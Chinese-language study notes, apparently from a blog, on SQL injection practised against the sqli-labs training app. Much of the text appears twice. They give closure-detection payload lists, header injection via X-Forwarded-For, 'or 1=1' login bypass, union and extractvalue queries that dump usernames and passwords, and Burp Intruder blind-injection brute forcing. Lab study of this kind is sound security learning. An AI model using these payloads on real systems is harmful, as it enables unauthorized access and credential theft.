但是,若輸入的數字後面的字符恰好是閉合符,則會形成閉合,若閉合後形成的sql語句是錯誤的,那麽sql語句執行就會錯誤,從而造成頁面顯示錯誤。
範例:
在Mysql數據庫下,代碼如下:
$id=$_GET['id'];
$sql=“SELECT * FROM name WHERE id='$id' LIMIT 0,1”;
可以看到'
(單引號)就是這條語句的閉合符
當,id輸入的是1),那麽拼接成的sql語句就是:“SELECT * FROM name WHERE id=‘1)’ LIMIT 0,1”;
按理來說這個sql語句應該是錯誤的,執行會報錯,但是因為是在Mysql數據庫環境下,它會自動把錯誤的數據1)轉換成合法的數據1,從而使得sql語句執行成功,相同的輸入1-、1"也一樣。
相反SqlServer、oracle數據庫對數據類型很嚴格,輸錯數據類型不會自動轉換成正確的數據類型,所以只要輸入的數據類型不正確就會出現報錯信息。以此特性就可以進行bool盲注。
首先sql的注入可以分為數字類型,字符類型。
方法1:(如果網頁可回顯錯誤訊息)
首先我們可以使用(轉義字符)來判斷SQL注入的閉合方式。
原理,當閉合字符遇到轉義字符時,會被轉義,那麽沒有閉合符的語句就不完整了,就會報錯,通過報錯信息我們就可以推斷出閉合符。
分析報錯信息:看\斜杠後面跟著的字符,是什麽字符,它的閉合字符就是什麽,若是沒有,就為數字型。
可以看一下上圖黃字反藍,反斜線後面就是單引號。
方法2 (網頁不回顯錯誤訊息,但可從網頁判斷注入成功或失敗)
先判斷是否是整型,如果不是整型則為字符型,字符型存在多種情況,需要使用單引號【'】、雙引號【"】、括號【()】多種組合方式進行試探。常見原始碼如'\$id'、"\$id"、('\$id')、("$id")、(('\$id'))。當然,括號想括幾個都沒問題,所以要試。
判斷閉合方式
id=1 and 1=1回顯正常 id=1 and1=2回顯錯誤 => 判斷為整形
id=1' and '1'='1回顯正確id=1' and '1'='2回顯錯誤 => 判斷為【'】閉合
id=1" and "1"="1 回顯正常 id=1" and "1"="2回顯錯誤 =>判斷為【"】閉合
get method閉合payload: (注意--
後面有一個空白,如果想手工打在網址上,--
後面要有一個+
號)
and 1=1 --
and 1=2 --
' and 1=1 --
' and 1=2 --
" and 1=1 --
" and 1=2 --
) and 1=1 --
) and 1=2 --
') and 1=1 --
') and 1=2 --
") and 1=1 --
") and 1=2 --
')) and 1=1 --
')) and 1=2 --
")) and 1=1 --
")) and 1=2 --
} and 1=1 --
} and 1=2 --
使用burp的intruder模組測試sqli-labs 的 less-1的url:
從上面兩圖可以發現只有接單引號這一組頁面有顯示正常跟不正常的。
方法3 (網頁不回顯錯誤訊息,也無法從網頁判斷注入成功或失敗 => 延時盲注)
?id=1' and sleep(5)--+ //正常休眠
?id=1" and sleep(5)--+ //無休眠
?id=1') and sleep(5)--+//無休眠
?id=1") and sleep(5)--+//無休眠
?id=1' and if(length(database())=8,sleep(10),1)--+
更詳細cheat sheet可參照 https://github.com/payloadbox/sql-injection-payload-list 的
Generic Time Based SQL Injection Payloads。
目前想法是可以利用burp的intruder功能來做fuzzing,找到可能有用的字典檔如下:
https://github.com/TheKingOfDuck/fuzzDicts/blob/master/sqlDict/sql.txt
https://blog.csdn.net/weixin_43167326/article/details/128873597
https://github.com/PenTestical/sqli/blob/main/hugeSQL.txt
另外,一個比較特別的sql injection檢測方式如下:
https://www.freebuf.com/articles/web/284680.html
get注入
在get傳參時寫入參數,將SQl語句閉合,後面加寫入自己的SQL語句。
post注入
通過post傳參,原理與get一樣,重要的是判斷我們所輸入的信息是否與數據庫產生交互,其次判斷SQL語句是如何閉合的。
Referer注入
Referer正確寫法應該是Referrer,因為http規定時寫錯只能將錯就錯,有些網站會記錄ip和訪問路徑,例如百度就是通過Referer來統計網站流量,我們將訪問路徑進行SQL注入,同樣也可以得到想要的信息。
XFF注入
在用戶登錄注冊模塊在 HTTP 頭信息添加 X-Forwarded-for: 9.9.9.9' ,用戶在注冊的時候,如果存在安全隱 患,會出現錯誤頁面或者報錯。從而導致注冊或者登錄用戶失敗。burpsuite 抓包,提交輸入檢測語句:
X-Forwarded-for: 127.0.0.1'and 1=1#
X-Forwarded-for: 127.0.0.1'and 1=2#
兩次提交返回不一樣,存在 SQL 注入漏洞。
有些網站通過查詢cookie判斷用戶是否登錄,需要與數據庫進行交互,我們可以修改cookie的值,查找我們所需要的東西。或者通過報錯注入是網頁返回報錯信息。
sql注入,我們要注入到自己的sql語句,如果注入後,破壞了原有的閉合,那麽注入也會失敗,所以閉合很重要,決定了最後是否可以注入成功。
閉合後成功注入實例:
$sql = "SELECT * FROM users WHERE id = '$id' LIMIT 0,1";
$id = 1' 0r 1=1 --+ --+ 注釋'後面的數據
$sql = "SELECT * FROM users WHERE id = '1' or 1=1 --+' LIMIT 0,1";
註釋若被過濾,可以把註釋替換成|| 閉合符號 1
。閉合符號,比如說原始碼是('id')
,那麼就應該是('
。
原始碼也可能長的比較複雜。比如說
"SELECT * FROM users WHERE id='$id' LIMIT 0,1"
後面多了一個LIMIT,可能就不一樣。這時的閉合可以明顯看出是用'
,但如果有濾掉註釋符號時,用以下語句代替可能還是無法顯示帳密:
-1' union select null,group_concat(username),group_concat(password) FROM users or'
可以試試在users後面多一個 where 1=1,那麼整個查詢語句變成:
"SELECT * FROM users WHERE id='-1' union select null,group_concat(username),group_concat(password) FROM users WHERE 1=1 or'' LIMIT 0,1"
另外要注意,有時候id要是資料庫沒有的數字才能正常查詢。
常見數據庫如:MySQL、MSSQL(即SQLserver)、Oracle、Access、PostgreSQL、db2等等。目前來說,企業使用MSSQL即SQLserver的數量最多,MySQL其次,Oracle再次。除此之外的幾個常見數據庫如 Access、PostgreSQL、db2則要少的多的多。
常用SQL注入判斷數據庫方法
● 使用數據庫特有的函數來判斷
● 使用數據庫專屬符號來判斷,如注釋符號、多語句查詢符等等
● 報錯信息判斷
● 數據庫特性判斷
如果可以對主機進行端口掃描,可以根據是否開啟對應端口,來大概判斷數據庫類型。
Oracle默認端口號:1521
SQL Server默認端口號:1433
MySQL默認端口號:3306
PostgreSql默認端口號:5432
asp:SQL Server,Access
.net :SQL Server
php:Mysql,PostgreSql
java:Oracle,Mysql
“#”是MySQL中的注釋符,返回錯誤說明該注入點可能不是MySQL,另外也支持’-- ',和/ /注釋(注意mysql使用-- 時需要後面添加空格)
“null”和“%00”是Access支持的注釋。
“--”是Oracle、PostgreSQL, SQLite & SQL Server支持的注釋符,如果返回正常,則說明為這兩種數據庫類型之一。所以MySQL、Oracle和MSSQL都可以用--+。
“;”是子句查詢標識符,Oracle不支持多行查詢,因此如果返回錯誤,則說明很可能是Oracle數據庫。
https://blog.csdn.net/weixin_46634468/article/details/120480080
https://blog.csdn.net/m0_37638874/article/details/125497513
https://www.cnblogs.com/cainiao-chuanqi/p/13543280.html
https://zhuanlan.zhihu.com/p/625412460
https://coggle.it/diagram/WTpCoTUhXQABa2wg/t/sql%E6%B3%A8%E5%85%A5%E6%B5%8B%E8%AF%95%E6%B5%81%E7%A8%8B%E5%9B%BE
https://www.spade-z.com/archives/e73517db.html
https://developer.aliyun.com/article/1169000
https://www.sqlsec.com/2018/01/select.html
一般原始碼:
$id=$_GET['id'];
$sql=“SELECT * FROM name WHERE id='$id' LIMIT 0,1”;
我們可以看到,用戶輸入的id是被帶到sql語句中進行拼接,然後執行的,而且,這個id兩邊是被’ ‘(兩個單引號)給閉合起來的,所以在這個代碼里’(單引號)就是閉合符。
由此,若是我們想進行SQL注入,那麽就可以通過給定id一些惡意的數據,讓這些惡意的數據與原SQL語句結合在一起,構成一個新的、惡意的SQL語句,讓這個惡意的SQL語句執行成功,從而達到SQL注入的目的。
MYSQL數據庫的包容性比較強,如果你輸錯了數據的類型,MYSQL數據庫會自動將其轉換成正確的數據類型,比如輸入1)、1"、1-等,只要數字後面的字符不是閉合符的,數據庫都會把你輸入的錯誤的數據轉換成正確的數據類型。
但是,若輸入的數字後面的字符恰好是閉合符,則會形成閉合,若閉合後形成的sql語句是錯誤的,那麽sql語句執行就會錯誤,從而造成頁面顯示錯誤。
範例:
在Mysql數據庫下,代碼如下:
$id=$_GET['id'];
$sql=“SELECT * FROM name WHERE id='$id' LIMIT 0,1”;
可以看到'
(單引號)就是這條語句的閉合符
當,id輸入的是1),那麽拼接成的sql語句就是:“SELECT * FROM name WHERE id=‘1)’ LIMIT 0,1”;
按理來說這個sql語句應該是錯誤的,執行會報錯,但是因為是在Mysql數據庫環境下,它會自動把錯誤的數據1)轉換成合法的數據1,從而使得sql語句執行成功,相同的輸入1-、1"也一樣。
相反SqlServer、oracle數據庫對數據類型很嚴格,輸錯數據類型不會自動轉換成正確的數據類型,所以只要輸入的數據類型不正確就會出現報錯信息。以此特性就可以進行bool盲注。
首先sql的注入可以分為數字類型,字符類型。
方法1:(如果網頁可回顯錯誤訊息)
首先我們可以使用(轉義字符)來判斷SQL注入的閉合方式。
原理,當閉合字符遇到轉義字符時,會被轉義,那麽沒有閉合符的語句就不完整了,就會報錯,通過報錯信息我們就可以推斷出閉合符。
分析報錯信息:看\斜杠後面跟著的字符,是什麽字符,它的閉合字符就是什麽,若是沒有,就為數字型。
可以看一下上圖黃字反藍,反斜線後面就是單引號。
方法2 (網頁不回顯錯誤訊息,但可從網頁判斷注入成功或失敗)
先判斷是否是整型,如果不是整型則為字符型,字符型存在多種情況,需要使用單引號【'】、雙引號【"】、括號【()】多種組合方式進行試探。常見原始碼如'\$id'、"\$id"、('\$id')、("$id")、(('\$id'))。當然,括號想括幾個都沒問題,所以要試。
判斷閉合方式
id=1 and 1=1回顯正常 id=1 and1=2回顯錯誤 => 判斷為整形
id=1' and '1'='1回顯正確id=1' and '1'='2回顯錯誤 => 判斷為【'】閉合
id=1" and "1"="1 回顯正常 id=1" and "1"="2回顯錯誤 =>判斷為【"】閉合
get method閉合payload: (注意--
後面有一個空白,如果想手工打在網址上,--
後面要有一個+
號)
and 1=1 --
and 1=2 --
' and 1=1 --
' and 1=2 --
" and 1=1 --
" and 1=2 --
) and 1=1 --
) and 1=2 --
') and 1=1 --
') and 1=2 --
") and 1=1 --
") and 1=2 --
')) and 1=1 --
')) and 1=2 --
")) and 1=1 --
")) and 1=2 --
} and 1=1 --
} and 1=2 --
使用burp的intruder模組測試sqli-labs 的 less-1的url:
從上面兩圖可以發現只有接單引號這一組頁面有顯示正常跟不正常的。
方法3 (網頁不回顯錯誤訊息,也無法從網頁判斷注入成功或失敗 => 延時盲注)
?id=1' and sleep(5)--+ //正常休眠
?id=1" and sleep(5)--+ //無休眠
?id=1') and sleep(5)--+//無休眠
?id=1") and sleep(5)--+//無休眠
?id=1' and if(length(database())=8,sleep(10),1)--+
更詳細cheat sheet可參照 https://github.com/payloadbox/sql-injection-payload-list 的
Generic Time Based SQL Injection Payloads。
目前想法是可以利用burp的intruder功能來做fuzzing,找到可能有用的字典檔如下:
https://github.com/TheKingOfDuck/fuzzDicts/blob/master/sqlDict/sql.txt
https://blog.csdn.net/weixin_43167326/article/details/128873597
https://github.com/PenTestical/sqli/blob/main/hugeSQL.txt
另外,一個比較特別的sql injection檢測方式如下:
https://www.freebuf.com/articles/web/284680.html
get注入
在get傳參時寫入參數,將SQl語句閉合,後面加寫入自己的SQL語句。
post注入
通過post傳參,原理與get一樣,重要的是判斷我們所輸入的信息是否與數據庫產生交互,其次判斷SQL語句是如何閉合的。
Referer注入
Referer正確寫法應該是Referrer,因為http規定時寫錯只能將錯就錯,有些網站會記錄ip和訪問路徑,例如百度就是通過Referer來統計網站流量,我們將訪問路徑進行SQL注入,同樣也可以得到想要的信息。
XFF注入
在用戶登錄注冊模塊在 HTTP 頭信息添加 X-Forwarded-for: 9.9.9.9' ,用戶在注冊的時候,如果存在安全隱 患,會出現錯誤頁面或者報錯。從而導致注冊或者登錄用戶失敗。burpsuite 抓包,提交輸入檢測語句:
X-Forwarded-for: 127.0.0.1'and 1=1#
X-Forwarded-for: 127.0.0.1'and 1=2#
兩次提交返回不一樣,存在 SQL 注入漏洞。
有些網站通過查詢cookie判斷用戶是否登錄,需要與數據庫進行交互,我們可以修改cookie的值,查找我們所需要的東西。或者通過報錯注入是網頁返回報錯信息。
sql注入,我們要注入到自己的sql語句,如果注入後,破壞了原有的閉合,那麽注入也會失敗,所以閉合很重要,決定了最後是否可以注入成功。
閉合後成功注入實例:
$sql = "SELECT * FROM users WHERE id = '$id' LIMIT 0,1";
$id = 1' 0r 1=1 --+ --+ 注釋'後面的數據
$sql = "SELECT * FROM users WHERE id = '1' or 1=1 --+' LIMIT 0,1";
註釋若被過濾,可以把註釋替換成|| 閉合符號 1
。閉合符號,比如說原始碼是('id')
,那麼就應該是('
。
原始碼也可能長的比較複雜。比如說
"SELECT * FROM users WHERE id='$id' LIMIT 0,1"
後面多了一個LIMIT,可能就不一樣。這時的閉合可以明顯看出是用'
,但如果有濾掉註釋符號時,用以下語句代替可能還是無法顯示帳密:
-1' union select null,group_concat(username),group_concat(password) FROM users or'
可以試試在users後面多一個 where 1=1,那麼整個查詢語句變成:
"SELECT * FROM users WHERE id='-1' union select null,group_concat(username),group_concat(password) FROM users WHERE 1=1 or'' LIMIT 0,1"
另外要注意,有時候id要是資料庫沒有的數字才能正常查詢。
常見數據庫如:MySQL、MSSQL(即SQLserver)、Oracle、Access、PostgreSQL、db2等等。目前來說,企業使用MSSQL即SQLserver的數量最多,MySQL其次,Oracle再次。除此之外的幾個常見數據庫如 Access、PostgreSQL、db2則要少的多的多。
常用SQL注入判斷數據庫方法
● 使用數據庫特有的函數來判斷
● 使用數據庫專屬符號來判斷,如注釋符號、多語句查詢符等等
● 報錯信息判斷
● 數據庫特性判斷
如果可以對主機進行端口掃描,可以根據是否開啟對應端口,來大概判斷數據庫類型。
Oracle默認端口號:1521
SQL Server默認端口號:1433
MySQL默認端口號:3306
PostgreSql默認端口號:5432
asp:SQL Server,Access
.net :SQL Server
php:Mysql,PostgreSql
java:Oracle,Mysql
“#”是MySQL中的注釋符,返回錯誤說明該注入點可能不是MySQL,另外也支持’-- ',和/ /注釋(注意mysql使用-- 時需要後面添加空格)
“null”和“%00”是Access支持的注釋。
“--”是Oracle、PostgreSQL, SQLite & SQL Server支持的注釋符,如果返回正常,則說明為這兩種數據庫類型之一。所以MySQL、Oracle和MSSQL都可以用--+。
“;”是子句查詢標識符,Oracle不支持多行查詢,因此如果返回錯誤,則說明很可能是Oracle數據庫。
https://blog.csdn.net/weixin_46634468/article/details/120480080
https://blog.csdn.net/m0_37638874/article/details/125497513
https://www.cnblogs.com/cainiao-chuanqi/p/13543280.html
https://zhuanlan.zhihu.com/p/625412460
https://coggle.it/diagram/WTpCoTUhXQABa2wg/t/sql%E6%B3%A8%E5%85%A5%E6%B5%8B%E8%AF%95%E6%B5%81%E7%A8%8B%E5%9B%BE
https://www.spade-z.com/archives/e73517db.html
https://developer.aliyun.com/article/1169000
https://www.sqlsec.com/2018/01/select.html
進去以後首頁長這樣:
輸入admin/admin後即可登入成功。
看到這樣的網頁,第一個想法就是找是不是有sql injection的語句,可以不用正規密碼直接successfully logged in。網路上當然有許多這種bypass的payload,比如:
https://github.com/payloadbox/sql-injection-payload-list
裡面的SQL Injection Auth Bypass Payloads。
當然可以一條一條去試,但這太浪費時間了,可以用burp來幫忙。首先開啟burp:
按上圖open browser後,再按intercept is off把intercept調到on。接下來在開啟的網頁上隨便輸入帳密後按submit:
burp會出現以下畫面:
可以看到上圖最後一行,就是剛剛輸入的帳號密碼。我們會希望可以把passwd等號後面的東西可以自動替換成剛剛SQL Injection Auth Bypass Payloads的那些字串,步驟如下:
按右鍵後再選send to Intruder:
可以看到下圖:
看上圖,把最下面那一行的admin給反藍後按右邊的add$,並切換到Payloads頁籤,把剛剛payload網頁的東西反藍後按ctrl-c,並到下圖頁面按下Paste:
這時即會出現剛剛網頁上所有payload如下圖:
再去按右上角的start attack即可開始自動填入帳密,攻擊結果如下:
攻擊完成後,可以直接從上圖的Response底下的Render看見當下網頁狀況,可以發現length超過1800的都可以成功登入,比如admin' or '1'='1#
,不用輸入密碼。
chrome使用hackbar:
輸入admin/admin送出後,把上圖的Use Post method打勾,再Load URL,即可顯示以上畫面,可以從網頁直接控制Post data。
由於可能會送不出去,要參考以下網頁的解決方法:
而剛剛burp攔截到的如下:
uname=admin&passwd=admin&submit=Submit
只要調成Submit=submit即可。
這時就可以任意更改上圖Body部分,再按EXECUTE即可再次load網頁。比如
username被改成了admin' or '1'='1'#
,按下execute以後一樣可以成功登入。
因為登入成功後會出現Your Login name:Dumb、Your Password:Dumb等訊息,所以可以試試union攻擊。首先先測測有幾欄:
payload(如下反藍,先猜是不是有三欄): ' or '1'='1' union select null,null,null
按EXECUTE後沒有回顯,代表猜錯,試試兩個null:
有回顯,代表是兩欄。
但直接用上面payload不知為何會無法回顯,比如:
passwd=admin&Submit=submit&uname=admin' UNION SELECT 1,version()#
照理應該顯示版本,但卻還是一樣的頁面:
後來稍微排列組合一下。原本是先密碼接下來submit,再來是帳號;變成先帳號再密碼再submit,payload接在密碼後面,如下所示:
uname=a&passwd=a' UNION SELECT 1,version()#&Submit=submit
可以發現Your Password後面確實顯示版本8.0.31。這同時也告訴我們一件事,就是繞過的payload如果可以適用於某個欄位,就可以適用於同樣地方的另一個欄位。
因此,下圖的反藍處就是可以任意替換成各式payload的地方,其查詢結果會顯示在Your Password:
的後面。
接下來就可以參照less-1來查帳密。
查security底下有哪一些table:
uname=a&passwd=a' UNION SELECT 1,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'#&Submit=submit
查users這table有哪些column:
uname=a&passwd=a' UNION SELECT 1,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'#&Submit=submit
查詢username跟password這兩個column的內容:
uname=a&passwd=a' UNION SELECT group_concat(username),group_concat(password) FROM users#&Submit=submit
試哪個密碼可繞過,再去研究閉合方式。其他跟less-11一樣。
試試其中一個:
可以發現上圖藍字可以抽換成sql語句。sql語句如下:
測試有幾欄:
UNION SELECT null,null
顯示security這個DB有哪些table:
UNION SELECT 1,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'
顯示security這個DB底下的users這個table有哪些column:
UNION SELECT 1,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'
顯示users這個table的username跟password這兩個column的內容
UNION SELECT group_concat(username),group_concat(password) FROM users
less-11一開始做過的再做一次後如下圖,可以看得出來大概是用')
閉合。
把上圖反藍換成payload: extractvalue(1,concat(0x7e,(select database())))
,會發現有錯誤訊息,且顯示目前資料庫如下圖上方的反藍處:
extractvalue的原理:
1、extractvalue(xml_frag, xpath_expr):從一個使用xpath語法的xml字符串中提取一個值。
xml_frag:xml文檔對象的名稱,是一個string類型。
xpath_expr:使用xpath語法格式的路徑。
SQL報錯注入的應用:當使用extractvalue(xml_frag, xpath_expr)函數時,若xpath_expr參數不符合xpath格式,就會報錯。
而符號(ascii編碼值:0x7e)是不存在xpath格式中的, 所以一旦在xpath_expr參數中使用~
符號,就會產生xpath syntax error (xpath語法錯誤),通過使用這個方法就可以達到報錯注入的目的。
之後上上張圖的1=1要換成什麼,可以參照less-17。
實際試試其中一個可以繞過的密碼admin" or 1=1#,的確可以成功登入,且經測試,less-13的payload可以塞在下圖反藍處,可以做報錯注入,也可以做bool盲注。
比如目前所在的資料庫的名稱長度的查詢語句length(database())='8':
如果改成7的話就會顯示failed,代表目前資料庫名稱長度是8不是7,其他語句是一樣道理。
至於盲注語句,可以參考less-5:
猜目前所在的資料庫的名稱:
(SELECT SUBSTRING(database(), 1, 1)) = 's'
猜security的第一個table名稱:
substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1,1) = 'e'
table裡有幾個column? (橫軸數量):
(SELECT count(*) FROM information_schema.columns WHERE table_schema = 0x7365637572697479 AND table_name = 0x7573657273) = 3
猜user這個table裡的column有哪些,名字是什麼:
substr((select column_name from information_schema.columns where table_name=0x7573657273 and table_schema=0x7365637572697479 limit 0,1),2,1)='d'
table裡有幾個row(縱軸數量):
(SELECT table_rows from information_schema.tables WHERE table_schema = 0x7365637572697479 AND table_name = 0x7573657273) = 13
猜測users這個table裡的username:
substr((select username from security.users limit 0,1),1,1)='D'
猜測users這個table裡的password:
就是把上一句的username改成password而已,其他不變,payload如下:
substr((select password from security.users limit 0,1),1,1)='D'
也可以試試跟less-17一樣的報錯注入。
一樣用
https://github.com/payloadbox/sql-injection-payload-list
裡面的SQL Injection Auth Bypass Payloads來測試哪些密碼可以順利登入,進而找出注入方式,從上圖反藍處挑倒數第二個。
也就是說跟less-14相同,只是admin後面的"
變成'
。
挑上圖反藍最下面那個Payload,感覺它的"1"="1"
可以直接換成其他sql查詢語句。
經過測試後,的確把上圖反藍換成less-5用過的語句,即可使用blind sql injection。
]]>進去以後首頁長這樣:
輸入admin/admin後即可登入成功。
看到這樣的網頁,第一個想法就是找是不是有sql injection的語句,可以不用正規密碼直接successfully logged in。網路上當然有許多這種bypass的payload,比如:
https://github.com/payloadbox/sql-injection-payload-list
裡面的SQL Injection Auth Bypass Payloads。
當然可以一條一條去試,但這太浪費時間了,可以用burp來幫忙。首先開啟burp:
按上圖open browser後,再按intercept is off把intercept調到on。接下來在開啟的網頁上隨便輸入帳密後按submit:
burp會出現以下畫面:
可以看到上圖最後一行,就是剛剛輸入的帳號密碼。我們會希望可以把passwd等號後面的東西可以自動替換成剛剛SQL Injection Auth Bypass Payloads的那些字串,步驟如下:
按右鍵後再選send to Intruder:
可以看到下圖:
看上圖,把最下面那一行的admin給反藍後按右邊的add$,並切換到Payloads頁籤,把剛剛payload網頁的東西反藍後按ctrl-c,並到下圖頁面按下Paste:
這時即會出現剛剛網頁上所有payload如下圖:
再去按右上角的start attack即可開始自動填入帳密,攻擊結果如下:
攻擊完成後,可以直接從上圖的Response底下的Render看見當下網頁狀況,可以發現length超過1800的都可以成功登入,比如admin' or '1'='1#
,不用輸入密碼。
chrome使用hackbar:
輸入admin/admin送出後,把上圖的Use Post method打勾,再Load URL,即可顯示以上畫面,可以從網頁直接控制Post data。
由於可能會送不出去,要參考以下網頁的解決方法:
而剛剛burp攔截到的如下:
uname=admin&passwd=admin&submit=Submit
只要調成Submit=submit即可。
這時就可以任意更改上圖Body部分,再按EXECUTE即可再次load網頁。比如
username被改成了admin' or '1'='1'#
,按下execute以後一樣可以成功登入。
因為登入成功後會出現Your Login name:Dumb、Your Password:Dumb等訊息,所以可以試試union攻擊。首先先測測有幾欄:
payload(如下反藍,先猜是不是有三欄): ' or '1'='1' union select null,null,null
按EXECUTE後沒有回顯,代表猜錯,試試兩個null:
有回顯,代表是兩欄。
但直接用上面payload不知為何會無法回顯,比如:
passwd=admin&Submit=submit&uname=admin' UNION SELECT 1,version()#
照理應該顯示版本,但卻還是一樣的頁面:
後來稍微排列組合一下。原本是先密碼接下來submit,再來是帳號;變成先帳號再密碼再submit,payload接在密碼後面,如下所示:
uname=a&passwd=a' UNION SELECT 1,version()#&Submit=submit
可以發現Your Password後面確實顯示版本8.0.31。這同時也告訴我們一件事,就是繞過的payload如果可以適用於某個欄位,就可以適用於同樣地方的另一個欄位。
因此,下圖的反藍處就是可以任意替換成各式payload的地方,其查詢結果會顯示在Your Password:
的後面。
接下來就可以參照less-1來查帳密。
查security底下有哪一些table:
uname=a&passwd=a' UNION SELECT 1,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'#&Submit=submit
查users這table有哪些column:
uname=a&passwd=a' UNION SELECT 1,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'#&Submit=submit
查詢username跟password這兩個column的內容:
uname=a&passwd=a' UNION SELECT group_concat(username),group_concat(password) FROM users#&Submit=submit
試哪個密碼可繞過,再去研究閉合方式。其他跟less-11一樣。
試試其中一個:
可以發現上圖藍字可以抽換成sql語句。sql語句如下:
測試有幾欄:
UNION SELECT null,null
顯示security這個DB有哪些table:
UNION SELECT 1,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'
顯示security這個DB底下的users這個table有哪些column:
UNION SELECT 1,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'
顯示users這個table的username跟password這兩個column的內容
UNION SELECT group_concat(username),group_concat(password) FROM users
less-11一開始做過的再做一次後如下圖,可以看得出來大概是用')
閉合。
把上圖反藍換成payload: extractvalue(1,concat(0x7e,(select database())))
,會發現有錯誤訊息,且顯示目前資料庫如下圖上方的反藍處:
extractvalue的原理:
1、extractvalue(xml_frag, xpath_expr):從一個使用xpath語法的xml字符串中提取一個值。
xml_frag:xml文檔對象的名稱,是一個string類型。
xpath_expr:使用xpath語法格式的路徑。
SQL報錯注入的應用:當使用extractvalue(xml_frag, xpath_expr)函數時,若xpath_expr參數不符合xpath格式,就會報錯。
而符號(ascii編碼值:0x7e)是不存在xpath格式中的, 所以一旦在xpath_expr參數中使用~
符號,就會產生xpath syntax error (xpath語法錯誤),通過使用這個方法就可以達到報錯注入的目的。
之後上上張圖的1=1要換成什麼,可以參照less-17。
實際試試其中一個可以繞過的密碼admin" or 1=1#,的確可以成功登入,且經測試,less-13的payload可以塞在下圖反藍處,可以做報錯注入,也可以做bool盲注。
比如目前所在的資料庫的名稱長度的查詢語句length(database())='8':
如果改成7的話就會顯示failed,代表目前資料庫名稱長度是8不是7,其他語句是一樣道理。
至於盲注語句,可以參考less-5:
猜目前所在的資料庫的名稱:
(SELECT SUBSTRING(database(), 1, 1)) = 's'
猜security的第一個table名稱:
substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1,1) = 'e'
table裡有幾個column? (橫軸數量):
(SELECT count(*) FROM information_schema.columns WHERE table_schema = 0x7365637572697479 AND table_name = 0x7573657273) = 3
猜user這個table裡的column有哪些,名字是什麼:
substr((select column_name from information_schema.columns where table_name=0x7573657273 and table_schema=0x7365637572697479 limit 0,1),2,1)='d'
table裡有幾個row(縱軸數量):
(SELECT table_rows from information_schema.tables WHERE table_schema = 0x7365637572697479 AND table_name = 0x7573657273) = 13
猜測users這個table裡的username:
substr((select username from security.users limit 0,1),1,1)='D'
猜測users這個table裡的password:
就是把上一句的username改成password而已,其他不變,payload如下:
substr((select password from security.users limit 0,1),1,1)='D'
也可以試試跟less-17一樣的報錯注入。
一樣用
https://github.com/payloadbox/sql-injection-payload-list
裡面的SQL Injection Auth Bypass Payloads來測試哪些密碼可以順利登入,進而找出注入方式,從上圖反藍處挑倒數第二個。
也就是說跟less-14相同,只是admin後面的"
變成'
。
挑上圖反藍最下面那個Payload,感覺它的"1"="1"
可以直接換成其他sql查詢語句。
經過測試後,的確把上圖反藍換成less-5用過的語句,即可使用blind sql injection。
]]>1' and 1=1 --+ 顯示正常
1' and 1=2 --+ 顯示異常
代表原本的查詢語句是
select username,password feom the table where id = '參數'
1' and 1=2 union select null,null,null --+ 顯示正常
1' union select null,null,null --+ 也會顯示正常
但1' and 1=2 union select null,'text',null --+還是無法顯示text字樣(無法回顯)。在輸入的東西確實可以查到時,會顯示You are in...,否則不會顯示。所以需要使用盲注(blind sql injection)技術,無法使用union攻擊,因為看不到字,只能用是否能正常顯示You are in...來判斷有沒有猜對。
猜資料庫的名稱有多長:
1' and length(database())='8' --+
直到8才能正常顯示。
猜目前所在的資料庫的名稱:
1' AND (SELECT SUBSTRING(database(), 1, 1)) = 's'--+
1' AND (SELECT SUBSTRING(database(), 1, 1)) = 's'--+
SUBSTRING (str, pos, len)的意思是由 str中的第 pos 位置開始,選出接下去的 len 個字元。
所以上面payload的意思,是目前所在的資料庫的名稱的第一個字元(第一個粗體字)是不是s(第二個粗體字)。當然,可以用burp來暴力破解,不用一個一個英文字測。
雙變數暴力破解步驟:
在網址上id=
後面輸入以上Payload,並開啟intercept on,重新整理網頁後burp會出現如下畫面:
按右鍵選擇send to intruder如上圖,會出現畫面如下:
把上圖紅底線處給反藍,並按旁邊的Add$如下圖:
喔對了,attack type要選Cluster bomb:
接下來就可以切到Payload設定這兩個變數要怎麼跑,設定如下:
第一個變數是位置1-8:
第二個變數是英文字、數字,如果要保險一點可以在Character這加上一些特殊符號:
猜測結果如下,如果是猜對的,它的response的Length會比其他網頁短,大概965或966。
上面的Payload 1就是第一個粗體字,Payload 2就是第二個粗體字。比如說Payload 1 = 3且Payload 2 = c,代表目前資料庫的第三個字是c。所以可以拼湊出這個資料庫名稱是security。
猜security的第一個table名稱
1' and substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1,1) = 'e' --+
要注意上述的語句。第一個粗體數字代表現在是在猜DB的第幾個table,第二個粗體數字代表是這個table名稱的第幾個字。
暴力破解後,可以看到第一個table結果如下圖,可以發現大小寫不影響。
注意上面的0x7365637572697479。因為發現如果直接寫security會無法執行,所以需要編碼成ASCII Hex,轉碼方式如下圖
同樣的語句可以去猜第2-4個table名稱,以下是設定步驟:
接下來的暴力猜解結果如下圖,Payload 1代表第幾個table(從0開始算),Payload 2是第幾個字,Payload 3是Payload 2這位置的英文字,所以下面這張圖代表第二個table叫referers。
下面這張圖代表第三個table叫uagents。
下面這張圖代表第四個table叫users。
現在已知這個DB的所有table,有可能會有帳密的table大概就是users,所以接下來就是去猜users這個table的所有column名字跟column內容。
步驟如下:
table裡有幾個column? (橫軸數量)
1' and (SELECT count(*) FROM information_schema.columns WHERE table_schema = 0x7365637572697479 AND table_name = 0x7573657273) = 3 --+
其中粗體的字就是橫軸數量。除了0x7365637572697479是DB名字security以外,0x7573657273就是table名稱。參考網站:
( https://blog.csdn.net/qingluoII/article/details/71479686 )
接下來是要猜user這個table裡的column有哪些,名字是什麼:
